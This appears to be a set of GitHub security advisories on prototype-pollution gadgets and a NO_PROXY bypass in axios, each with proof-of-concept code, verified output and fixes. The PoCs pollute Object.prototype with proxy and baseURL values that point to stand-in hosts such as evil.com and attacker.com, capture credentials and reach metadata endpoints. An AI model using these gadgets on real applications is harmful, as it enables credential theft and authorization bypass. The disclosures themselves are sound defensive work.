javascript import http from 'http'; import axios from './index.js';

// Server returns a realistic authorization response const server = http.createServer((req, res) => { res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ user: 'john', role: 'viewer', isAdmin: false, canDelete: false, balance: 100, permissions: ['read'], apiKey: 'sk-secret-internal-key', })); }); await new Promise(r => server.listen(0, r)); const port = server.address().port;

// === Before Pollution === const before = await axios.get(http://127.0.0.1:${port}/api/me); console.log('Before:', JSON.stringify(before.data)); // {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}

// === Simulate Prototype Pollution === let stolen = {}; Object.prototype.parseReviver = function(key, value) { // Silently capture all original values if (key && typeof value !== 'object') stolen[key] = value; // Surgically modify specific values if (key === 'isAdmin') return true; // false → true if (key === 'role') return 'admin'; // viewer → admin if (key === 'canDelete') return true; // false → true if (key === 'balance') return 999999; // 100 → 999999 return value; // everything else unchanged };

// === After Pollution — same code, same URL === const after = await axios.get(http://127.0.0.1:${port}/api/me); console.log('After: ', JSON.stringify(after.data)); // {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}

console.log('Stolen:', JSON.stringify(stolen)); // {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}

delete Object.prototype.parseReviver; server.close();

Verified PoC Output

[1] Normal request (before pollution): response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false, "balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"} isAdmin: false role: viewer

[2] Prototype Pollution: Object.prototype.parseReviver Polluted with selective value modifier

[3] Same request (after pollution): response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true, "balance":999999,"permissions":["read","write","delete","admin"], "apiKey":"sk-secret-internal-key"} isAdmin: true (was: false) role: admin (was: viewer) canDelete: true (was: false) balance: 999999 (was: 100)

[4] Exfiltrated data (stolen silently): apiKey: sk-secret-internal-key All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false, "balance":100,"apiKey":"sk-secret-internal-key"}

[5] Why this bypasses all checks: parseReviver in defaults? NO parseReviver in assertOptions schema? NO parseReviver validated anywhere? NO Must return true? NO — can return ANY value Replaces entire transform? NO — works INSIDE default JSON.parse

Impact Analysis

1. Authorization / Privilege Escalation

javascript // Server returns: {"role":"viewer","isAdmin":false} // Application sees: {"role":"admin","isAdmin":true} // → Application grants admin access to unprivileged user

2. Financial Manipulation

javascript // Server returns: {"balance":100,"approved":false} // Application sees: {"balance":999999,"approved":true} // → Application approves a transaction that should be rejected

3. Security Control Bypass

javascript // Server returns: {"mfaRequired":true,"accountLocked":true} // Application sees: {"mfaRequired":false,"accountLocked":false} // → Application skips MFA and unlocks a locked account

4. Silent Data Exfiltration

The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.

5. Universal and Invisible

- Affects every Axios request that receives a JSON response - The response structure is intact — only specific values are changed - No errors, no crashes, no suspicious behavior - Application logs show normal-looking API responses with tampered values

Recommended Fix

Fix 1: Use hasOwnProperty check before using parseReviver

javascript // FIXED: lib/defaults/index.js const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined; return JSON.parse(data, reviver);

Fix 2: Use null-prototype config object

javascript // In lib/core/mergeConfig.js const config = Object.create(null);

Fix 3: Validate parseReviver type and source

javascript // FIXED: lib/defaults/index.js const reviver = (typeof this.parseReviver === 'function' && Object.prototype.hasOwnProperty.call(this, 'parseReviver')) ? this.parseReviver : undefined; return JSON.parse(data, reviver);

Relationship to Other Reported Gadgets

This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:

| Report | PP Target | Code Location | Fix Location | Impact | |---|---|---|---|---| | axios26 | transformResponse | mergeConfig.js:49 (defaultToConfig2) | mergeConfig.js | Credential theft, response replaced with true | | axios30 | proxy | http.js:670 (direct property access) | http.js | Full MITM, traffic interception | | axios31 (this) | parseReviver | defaults/index.js:124 (this.parseReviver) | defaults/index.js | Selective JSON value tampering + data exfiltration |

Why These Are Distinct Vulnerabilities

1. Different polluted properties: Each targets a different Object.prototype key. 2. Different code paths: transformResponse enters via mergeConfig; proxy is read directly by http.js; parseReviver is read inside the default transformResponse function's JSON.parse call. 3. Different fix locations: Fixing mergeConfig.js (axios26) does NOT fix defaults/index.js:124 (this vulnerability). Fixing http.js:670 (axios30) does NOT fix this either. Each requires a separate patch. 4. Different impact profiles: transformResponse is constrained to return true; proxy requires a proxy server; parseReviver enables constraint-free selective value modification.

Comprehensive Fix

While each vulnerability requires a location-specific patch, the comprehensive fix is to use null-prototype objects (Object.create(null)) for the merged config in mergeConfig.js, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.

Resources

- CWE-1321: Prototype Pollution - CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0) - MDN: JSON.parse reviver - Axios GitHub Repository

Timeline

| Date | Event | |---|---| | 2026-04-16 | Vulnerability discovered during source code audit | | 2026-04-16 | PoC developed and verified — selective response tampering confirmed | | TBD | Report submitted to vendor via GitHub Security Advisory |

1 / 3
Source: GitHub
First published (updated )
Severity
9.1
SSRF
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.

Affected Properties

1. config.auth (lib/adapters/http.js line 617) Injects attacker-controlled Authorization header on all requests. 2. config.baseURL (lib/helpers/resolveConfig.js line 18) Redirects all requests using relative URLs to an attacker-controlled server. 3. config.socketPath (lib/adapters/http.js line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon). 4. config.beforeRedirect (lib/adapters/http.js line 698) Executes attacker-supplied callback during HTTP redirects. 5. config.insecureHTTPParser (lib/adapters/http.js line 712) Enables Node.js insecure HTTP parser on all requests.

Proof of Concept

javascript const axios = require('axios');

// Prototype pollution from a vulnerable dependency in the same process Object.prototype.auth = { username: 'attacker', password: 'exfil' }; Object.prototype.baseURL = 'https://evil.com';

await axios.get('/api/users'); // Request is sent to: https://evil.com/api/users // With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw= // Attacker receives both the request and injected credentials

Impact

- Credential injection: Every axios request includes an attacker-controlled Authorization header, leaking request contents to any server that logs auth headers. - Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server. - SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments. - Code execution: Attacker-supplied functions execute during HTTP redirects. - Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling.

Root Cause

mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values.

The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection.

Suggested Fix

Apply the existing own() helper to all affected properties:

javascript const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; }

Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js.

1 / 3
Source: GitHub
First published (updated )
Severity
8.7
SSRF
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials.

The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server.

Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.

Severity: Critical (CVSS 9.4) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/adapters/http.js (config property access on merged object)

CWE

- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')

CVSS 3.1

Score: 9.4 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment: Object.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | MITM within the application's network context | | Confidentiality | High | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) | | Integrity | High | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike transformResponse which must return true | | Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |

Why This Bypasses mergeConfig

The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means:

1. mergeConfig iterates Object.keys({...defaults, ...userConfig}) — proxy is NOT in this set 2. defaultToConfig2 for proxy is never called 3. The merged config has no own proxy property 4. When http.js:670 reads config.proxy, JavaScript traverses the prototype chain 5. Object.prototype.proxy is found → used by setProxy()

This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it.

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:

javascript Object.prototype.proxy = { host: 'attacker.com', port: 8080, protocol: 'http', };

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

javascript // This looks safe to the developer — no proxy configured const response = await axios.get('https://api.internal.corp/secrets', { auth: { username: 'svc-account', password: 'prod-key-abc123!' } });

3. The Execution

At http.js:668-670: javascript setProxy( options, config.proxy, // ← traverses prototype chain → finds polluted proxy protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path );

setProxy() at http.js:191-239 then: javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // = { host: 'attacker.com', port: 8080 } // ... if (proxy) { options.hostname = proxy.hostname || proxy.host; // → 'attacker.com' options.port = proxy.port; // → 8080 options.path = location; // → full URL as path // ... } }

4. The Impact (Full MITM)

The attacker's proxy server receives:

http GET http://api.internal.corp/secrets HTTP/1.1 Host: api.internal.corp Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ== User-Agent: axios/1.15.0 Accept: application/json, text/plain, /

The Authorization header contains svc-account:prod-key-abc123! in Base64. The attacker: - Sees every request URL, header, and body - Modifies every response (inject malicious data, change auth results) - Logs all API keys, session tokens, and passwords - Operates as an invisible proxy — the developer has no indication

5. Verified PoC Code

javascript import http from 'http'; import axios from './index.js';

// Attacker's proxy server const intercepted = []; const proxyServer = http.createServer((req, res) => { intercepted.push({ url: req.url, authorization: req.headers.authorization, headers: req.headers, }); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end('{"hijacked":true}'); }); await new Promise(r => proxyServer.listen(0, r)); const proxyPort = proxyServer.address().port;

// Real target server const realServer = http.createServer((req, res) => { res.writeHead(200); res.end('{"data":"real"}'); }); await new Promise(r => realServer.listen(0, r)); const realPort = realServer.address().port;

// Prototype pollution Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };

// "Safe" request — goes through attacker's proxy const resp = await axios.get(http://127.0.0.1:${realPort}/api/secrets, { auth: { username: 'admin', password: 'SuperSecret123!' } });

console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server'); console.log('Intercepted Authorization:', intercepted[0]?.authorization); // Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)

delete Object.prototype.proxy; realServer.close(); proxyServer.close();

Verified PoC Output

[1] Normal request (before pollution): Response source: real server response.data: {"data":"from-real-server"} Proxy intercept count: 0

[2] Prototype Pollution: Object.prototype.proxy Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 }

[3] Request after pollution (same code, same URL): Response source: ATTACKER PROXY! response.data: {"data":"from-attacker-proxy","hijacked":true}

[4] Data intercepted by attacker's proxy: Full URL: http://127.0.0.1:50878/api/secrets Host: 127.0.0.1:50878 Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh All headers: { "accept": "application/json, text/plain, /", "user-agent": "axios/1.15.0", "accept-encoding": "gzip, compress, deflate, br", "host": "127.0.0.1:50878", "authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh", "connection": "keep-alive" }

[5] Attacker capabilities demonstrated: ✓ Full URL visible (including internal hostnames) ✓ Authorization header visible (Base64-encoded credentials) ✓ Can modify/forge response data ✓ Affects ALL axios HTTP requests (not just a single instance) ✓ No assertOptions constraints (unlike transformResponse gadget)

Impact Analysis

- Full Credential Interception: Every HTTP request's Authorization header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext. - Arbitrary Response Tampering: The attacker can return any response data — no constraints like transformResponse's "must return true". - Internal Network Reconnaissance: The proxy sees all request URLs, revealing internal hostnames, ports, and API paths. - Universal Scope: Affects every axios HTTP request in the application, including all third-party libraries that use axios. - Invisible Attack: The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses. - Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.

Why This Is More Severe Than transformResponse (axios26)

| Dimension | transformResponse Gadget | proxy Gadget | |---|---|---| | Data access | this.auth + response data | All headers, auth, body, URL, response | | Response control | Must return true | Arbitrary responses | | Attack visibility | Response becomes true (suspicious) | Normal-looking responses (invisible) | | mergeConfig involvement | Goes through defaultToConfig2 | Bypasses mergeConfig entirely |

Recommended Fix

Fix 1: Use hasOwnProperty when reading security-sensitive config properties

javascript // In lib/adapters/http.js const proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined; setProxy(options, proxy, location);

Fix 2: Enumerate all properties not in defaults and apply hasOwnProperty

Properties not in defaults that are read by http.js and have security impact: - config.proxy — MITM - config.socketPath — Unix socket SSRF - config.transport — request hijack - config.lookup — DNS hijack - config.beforeRedirect — redirect manipulation - config.httpAgent / config.httpsAgent — agent injection

All should use hasOwnProperty checks.

Fix 3: Use null-prototype object for merged config

javascript // In lib/core/mergeConfig.js const config = Object.create(null);

Resources

- CWE-1321: Prototype Pollution - CWE-441: Unintended Proxy - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0) - Axios GitHub Repository

Timeline

| Date | Event | |---|---| | 2026-04-16 | Vulnerability discovered during source code audit | | 2026-04-16 | PoC developed and verified — full MITM confirmed | | TBD | Report submitted to vendor via GitHub Security Advisory |

1 / 2
Source: GitHub
First published (updated )
Severity
8.6
SSRF
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Summary shouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NOPROXY lists an IPv4 address such as 127.0.0.1 or 169.254.169.254, a request URL using the IPv4-mapped IPv6 form (::ffff:7f00:1, ::ffff:a9fe:a9fe) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked.

Details lib/helpers/shouldBypassProxy.js (v1.15.0):

javascript const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); const isLoopback = (host) => LOOPBACKADDRESSES.has(host); // normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); The WHATWG URL parser canonicalises http://[::ffff:127.0.0.1]/ to hostname [::ffff:7f00:1]. After bracket-stripping: ::ffff:7f00:1. This string does not match 127.0.0.1 in NOPROXY and is not in LOOPBACKADDRESSES, so shouldBypassProxy returns false and the proxy is used. proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass.

PoC javascript

// NOPROXY=127.0.0.1,localhost,::1 HTTPPROXY=http://attacker:8080 import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js'; // All three should return true (bypass proxy). Only the first two do. console.log(shouldBypassProxy('http://127.0.0.1/')); // true [OK] console.log(shouldBypassProxy('http://[::1]/')); // true [OK] console.log(shouldBypassProxy('http://[::ffff:127.0.0.1]/')); // false <- bypass console.log(shouldBypassProxy('http://[::ffff:7f00:1]/')); // false <- bypass

Node.js routes ::ffff:7f00:1 to 127.0.0.1:

// net.connect({ host: '::ffff:7f00:1', port: 80 }) reaches a service // bound to 127.0.0.1:80 — confirmed on Node.js v24, Linux and macOS. Cloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NOPROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it. Fix Canonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison: javascript const ipv4MappedDotted = /^::ffff:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/i; const ipv4MappedHex = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i; function hexToIPv4(a, b) { const hi = parseInt(a, 16), lo = parseInt(b, 16); return ${hi >> 8}.${hi & 0xff}.${lo >> 8}.${lo & 0xff}; } const normalizeNoProxyHost = (hostname) => { if (!hostname) return hostname; if (hostname[0] === '[' && hostname.at(-1) === ']') hostname = hostname.slice(1, -1); hostname = hostname.replace(/\.+$/, '').toLowerCase(); let m; if ((m = hostname.match(ipv4MappedDotted))) return m[1]; if ((m = hostname.match(ipv4MappedHex))) return hexToIPv4(m[1], m[2]); return hostname; };

Impact Any application that sets NOPROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
Infoleak
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

axios in a Node.js deployment using the HTTP adapter can route requests through an attacker-controlled proxy. axios hardens merged request configuration by creating a null-prototype object, but request interceptors run after the merge; a common immutable interceptor pattern such as {...config} or Object.assign({}, config) converts the hardened config back into a regular object. axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads config.proxy through the prototype chain. If an attacker can pollute Object.prototype.proxy, affected requests can be routed through an attacker-controlled proxy. For plaintext HTTP requests, the proxy can observe Authorization headers, Basic auth from config.auth, method, absolute URL, Host, and request body, and can return its own response. This does not establish browser impact or HTTPS header/body disclosure under normal TLS validation. Affected versions are >=0.31.1 (fixed in 0.33.0) and >=1.15.2 (fixed in 1.18.0).

First published (updated )
Severity
8.2
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.

The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success.

Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js

CWE

- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - CWE-287: Improper Authentication

CVSS 3.1

Score: 8.2 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely | | Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Impact within the application | | Confidentiality | Low | 401 treated as success may expose data behind auth gates | | Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions | | Availability | None | The function works correctly (returns true), no crash |

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties.

Why validateStatus Is Uniquely Vulnerable

All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator:

javascript // mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus) function mergeDirectKeys(a, b, prop) { if (prop in config2) { // ← in traverses prototype chain! return getMergedValue(a, b); } else if (prop in config1) { return getMergedValue(undefined, a); } }

// mergeConfig.js:94 const mergeMap = { // ... all others use defaultToConfig2 ... validateStatus: mergeDirectKeys, // ← ONLY property using this strategy };

The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct.

Proof of Concept

1. The Setup (Simulated Pollution)

javascript Object.prototype.validateStatus = () => true;

2. The Gadget Trigger (Safe Code)

javascript // Application checks authentication via HTTP status codes try { const response = await axios.get('https://api.internal/admin/users'); // Developer expects: 401 → catch block → redirect to login // Reality: 401 → treated as success → displays admin data processAdminData(response.data); // Executes with 401 response body! } catch (error) { redirectToLogin(); // NEVER REACHED for 401/403/500 }

3. The Execution

javascript // mergeConfig.js:58 — 'validateStatus' in config2 // config2 = { url: '/admin/users', method: 'get' } // 'validateStatus' in config2 → checks prototype → finds () => true → TRUE // → getMergedValue(defaultValidator, () => true) → returns () => true

// settle.js:16 — ALL status codes resolve const validateStatus = response.config.validateStatus; // () => true if (!response.status || !validateStatus || validateStatus(response.status)) { resolve(response); // 401, 403, 500 all resolve here! }

4. The Impact

Before pollution: HTTP 200 → resolve (success) HTTP 401 → reject (auth error) → redirectToLogin() HTTP 403 → reject (forbidden) → showAccessDenied() HTTP 500 → reject (server error) → showErrorPage()

After pollution: HTTP 200 → resolve (success) HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body HTTP 403 → resolve (SUCCESS!) → application thinks user has access HTTP 500 → resolve (SUCCESS!) → application processes error as data

Verified PoC Output

--- Before Pollution --- 401: REJECTED as expected - Request failed with status code 401 500: REJECTED as expected - Request failed with status code 500

--- After Pollution --- 200: RESOLVED as success (status: 200) 301: RESOLVED as success (status: 301) 401: RESOLVED as success (status: 401) 403: RESOLVED as success (status: 403) 404: RESOLVED as success (status: 404) 500: RESOLVED as success (status: 500) 503: RESOLVED as success (status: 503)

--- Authentication Bypass Demo --- Auth check bypassed! 401 treated as success. Application proceeds with: { status: 401, message: 'Response with status 401' }

Impact Analysis

- Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources. - Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors. - Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed. - Universal Scope: Affects every axios instance in the application, including third-party libraries.

Recommended Fix

Replace the in operator with hasOwnProperty in mergeDirectKeys:

javascript // FIXED: lib/core/mergeConfig.js function mergeDirectKeys(a, b, prop) { if (Object.prototype.hasOwnProperty.call(config2, prop)) { return getMergedValue(a, b); } else if (Object.prototype.hasOwnProperty.call(config1, prop)) { return getMergedValue(undefined, a); } }

Resources

- CWE-1321: Prototype Pollution - CWE-287: Improper Authentication - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios - MDN: in operator - Axios GitHub Repository

Timeline

| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-15 | PoC developed and vulnerability confirmed | | 2026-04-16 | Report revised for accuracy | | TBD | Report submitted to vendor via GitHub Security Advisory |

1 / 3
Source: GitHub
First published (updated )
Severity
8.2
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L

Summary

axios 1.15.2 exposes two read-side prototype-pollution gadgets. When Object.prototype is polluted by an upstream dependency in the same process (e.g. lodash .merge / CVE-2018-16487), axios silently picks up the polluted values:

1. Header injection - lib/utils.js line 406 builds merge()'s accumulator as result = {}, so result[targetKey] (line 414) walks Object.prototype and the polluted bucket's own keys are copied into the merged headers and ride out on the wire. 2. Crash DoS - lib/core/mergeConfig.js line 26 builds the hasOwnProperty descriptor as a plain-object literal. Object.defineProperty reads descriptor.get/descriptor.set via the prototype chain, so a polluted Object.prototype.get or Object.prototype.set makes the call throw TypeError synchronously on every axios request.

Affected Properties

| Polluted slot | Effect | |---|---| | Object.prototype.common | injects headers on every method | | Object.prototype.delete / .head / .post / .put / .patch / .query | injects headers on the matching method | | Object.prototype.get | every axios request throws TypeError: Getter must be a function from mergeConfig.js:26 | | Object.prototype.set | every axios request throws TypeError: Setter must be a function from mergeConfig.js:26 |

Per-request headers (axios.request(url, { headers: {...} })) overwrite polluted entries. Polluting Object.prototype.get triggers the crash before any header is built.

Proof of Concept

javascript const axios = require('axios');

// Finding A - header injection Object.prototype.common = { 'X-Poisoned': 'yes' }; await axios.get('http://api.example.com/users'); // Wire request carries X-Poisoned: yes.

// Finding B - crash DoS Object.prototype.get = { something: 'anything' }; await axios.get('http://api.example.com/users'); // TypeError: Getter must be a function: #<Object> // at Function.defineProperty (<anonymous>) // at mergeConfig (lib/core/mergeConfig.js:26:10)

Impact

- Server hang (Content-Length: 99999): receiver waits for a body that never arrives. Affects requests with a body. - CL+TE conflict (Transfer-Encoding: chunked rides alongside axios's auto Content-Length): receiver rejects with 400 Bad Request. Affects requests with a body. - Response suppression (If-None-Match: ): receiver returns empty 304 Not Modified. Affects GET / HEAD. - Crash DoS (Object.prototype.get / .set): every axios request fails synchronously with TypeError, not AxiosError, so handlers filtering on error.isAxiosError mishandle the failure.

Attack Flow

mermaid flowchart TD ROOT["Polluted Object.prototype<br/>via upstream gadget (e.g. lodash &lt;= 4.17.10 .merge / CVE-2018-16487)<br/>axios &lt;= 1.15.2"]

ROOT --> CLASSA["A. Arbitrary HTTP Header Injection<br/>Polluted defaults.headers slot rides along on every outbound axios request"] ROOT --> CLASSB["B. Crash DoS via Object.prototype.get / .set<br/>Polluted descriptor breaks Object.defineProperty in mergeConfig"]

CLASSA --> PREA["Precondition: header not set per-request by the app<br/>Injected via defaults.headers slot<br/>(common, delete, head, post, put, patch, query)"]

PREA --> PA1["Response Suppression<br/>Trigger: common = {If-None-Match: }<br/>Affects GET / HEAD"] PA1 --> SA1["DoS<br/>304 Not Modified empty"]

PREA --> PA2["Server Hang<br/>Trigger: common = {Content-Length: 99999}<br/>Affects requests with body"] PA2 --> SA2["DoS<br/>connection hang"]

PREA --> PA3["CL+TE Conflict<br/>Trigger: common = {Transfer-Encoding: chunked}<br/>Affects requests with body"] PA3 --> SA3["DoS<br/>400 Bad Request"]

CLASSB --> SB1["DoS<br/>TypeError: Getter / Setter must be a function<br/>Crashes every axios request, not only GET"]

%% Styles style ROOT fill:#f87171,stroke:#991b1b,color:#fff style CLASSA fill:#fb923c,stroke:#9a3412,color:#fff style CLASSB fill:#fb923c,stroke:#9a3412,color:#fff style PREA fill:#e2e8f0,stroke:#64748b,color:#1e293b style PA1 fill:#fbbf24,stroke:#92400e,color:#000 style PA2 fill:#fbbf24,stroke:#92400e,color:#000 style PA3 fill:#fbbf24,stroke:#92400e,color:#000 style SA1 fill:#ef4444,stroke:#991b1b,color:#fff style SA2 fill:#ef4444,stroke:#991b1b,color:#fff style SA3 fill:#ef4444,stroke:#991b1b,color:#fff style SB1 fill:#ef4444,stroke:#991b1b,color:#fff

Root Cause

Finding A. lib/utils.js:404-429's merge() creates result = {} at line 406. The dangerous-keys filter on lines 408-411 blocks the write side, but the read at line 414 (isPlainObject(result[targetKey])) still walks the prototype chain. When targetKey matches a polluted slot, result[targetKey] returns the polluted nested object, and the recursive merge(result[targetKey], val) on line 415 iterates that object's own keys via forEach and copies them as own properties into the new accumulator. Those keys flow through mergeConfig.js:35 → Axios.js:148 (utils.merge(headers.common, headers[config.method])) → Axios.js:155 (AxiosHeaders.concat(...)) → onto the wire via http.js:677 (headers: headers.toJSON()) → http.js:767 (transport.request(options, ...)).

